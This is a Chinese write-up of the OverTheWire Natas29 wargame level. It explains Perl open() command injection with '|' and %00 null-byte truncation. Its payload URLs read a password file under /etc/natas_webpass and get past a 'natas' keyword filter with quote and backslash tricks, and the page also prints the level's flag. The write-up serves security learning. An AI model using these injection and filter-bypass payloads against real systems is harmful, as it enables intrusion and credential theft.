Natas29 Writeup(Perl命令注入、00截断、绕过过滤)
Natas29:

本关打开后,可以看到一个下拉列表,选择不同的内容,会得到不同的大量文本的页面。
观察url部分:http://natas29.natas.labs.overthewire.org/index.pl?file=perl+underground
感觉是一个命令注入,尝试一下file=|ls %00,可以在页面底部看到文件列表,由此我们确定存在命令注入漏洞。

尝试注入命令直接获取natas30的密码,结果并没有显示出密码。
payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat%20/etc/natas_webpass/natas30+%20%00

由于刚才返回的文件列表中有index.pl,我们可以尝试打开index.pl来查看源码。
payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+index.pl%00

我们看到,源码过滤了natas,导致显示meeeeeep!。我们可以将其绕过,从而得到flag。
payload:http://natas29.natas.labs.overthewire.org/index.pl?file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00

这里绕过过滤的方式有多种,比如
- 双引号绕过:file=|cat+/etc/na%22%22tas_webpass/nat%22%22as30%00
- 单引号绕过:ffile=|cat+/etc/n%27%27atas_webpass/n%27%27atas30%00
- 反斜杠绕过:ffile=|cat+/etc/n\atas_webpass/n\atas30%00
- 等等
flag:wie9iexae0Daihohv8vuu3cei9wahf0e
总结:
1.在perl中“|”字符会将命令连接到脚本中。
2.URL中,空格可以用“+”或者“%20”表示,双引号(")可以用“%22”表示。
3.%00会被url解码成0x00,导致00截断。
4.00截断原理:截断漏洞出现的核心就是chr(0),这个字符不为空 (Null),也不是空字符 (“”),更不是空格。当程序在输出含有 chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。
5.perl中,open()函数可以执行shell命令。
6.在shell命令注入漏洞中,有多种方式可以绕过过滤,详看这里。
7.开发过程中,应尽量少用可以执行命令的函数,如果必须要用,一定要做好过滤。
参考:
https://blog.csdn.net/baidu_35297930/article/details/99974886?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
https://blog.csdn.net/silence1_/article/details/96135760
Natas29 Writeup(Perl命令注入、00截断、绕过过滤)的更多相关文章
- Natas9 Writeup(命令注入)
Natas9: 审计源码,发现关键代码: $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key ...
- CTF练习三 —— 命令注入&命令执行绕过
这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...
- Commix命令注入漏洞利用
介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...
- SQL注入9种绕过WAF方法
SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...
- PHP代码审计2-常用超全局变量,常用命令注入,常用XSS漏洞审计,文件包含
超全局变量 $GLOBALS — 引用全局作用域中可用的全部变量$_SERVER — 服务器和执行环境信息$_GET — HTTP GET 变量$_POST — HTTP POST 变量$_FILES ...
- 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞
目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...
- PHP命令注入笔记
一.PHP命令注入介绍 在学习php相关的攻击时,遇到了Command Injection,即命令注入攻击,是指这样一种攻击手段,黑客通过把HTML代码输入一个输入机制(例如缺乏有效验证限制的表格域) ...
- 跟bWAPP学WEB安全(PHP代码)--OS命令注入
背景 这是温故知新的一个系列,也是重新拾起WEB安全的一个系列,同时希望能稍微有点对初学者的帮助.第一篇先来讲讲OS命令注入 bWAPP里面有两个页面也就是两个漏洞,来验证OS命令注入.一个是有回显的 ...
- dvwa——命令注入&文件包含
命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input ...
随机推荐
- Zabbix 监控进程参考
1)zabbix自动发现占用内存最大top10进程并监控资源 http://blog.csdn.net/ybx13218464908/article/details/47819401
- Jmeter接口之响应断言详解
响应断言 : 对服务器的响应进行断言校验 Apply to 应用范围: main sample and sub sample, main sample only , sub-sample only , ...
- 吴裕雄--天生自然KITTEN编程:对话
- Python 零基础入门
Python 零基础入门 1.1 Python介绍 Python 是一门优雅且健壮的面向对象解释型计算机程序编程语言,具有面向对象.可升级.可扩展.可移植 语法简洁清晰易学.易读写.易维护.健壮性.通 ...
- JAVA中对list map根据map某个key值进行排序
package test; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; ...
- .NET Core 获取程序运行环境信息与反射的应用
目录 RuntimeInformation.Environment 获取信息 反射获取信息 获取某个属性的值以及别名 反射获取信息 使用 总结 笔者的九篇反射系统文章已经完结,但是笔者会持续更新反射在 ...
- js中的函数应用
js中的函数应用 什么是函数,函数的概念 函数就像一个黑匣子,里面的东西你都不知道,但是你提供一些材料放进去,他可以制造出你需要的东西; 可以让多个一样的功能封装组合起来,然后想执行几次就执行几次 函 ...
- React类型检查
类型检查 import PropTypes from 'prop-types' 类名==List List.propTypes = { list: PropTypes.array } // 默认值 L ...
- python基础-流程控制语句
所谓流程控制,就是在程序里面设定一些条件判断语句,满足哪条,就执行哪条 #if 单分支 if 条件: 满足条件后执行的代码 #例子 > : print()#结果为666 双分支 if 条件: 满 ...
- http协议入门---转载
http协议入门 ##(一). HTTP/0.9 HTTP 是基于 TCP/IP 协议的应用层协议.它不涉及数据包(packet)传输,主要规定了客户端和服务器之间的通信格式,默认使用80端口. 最早 ...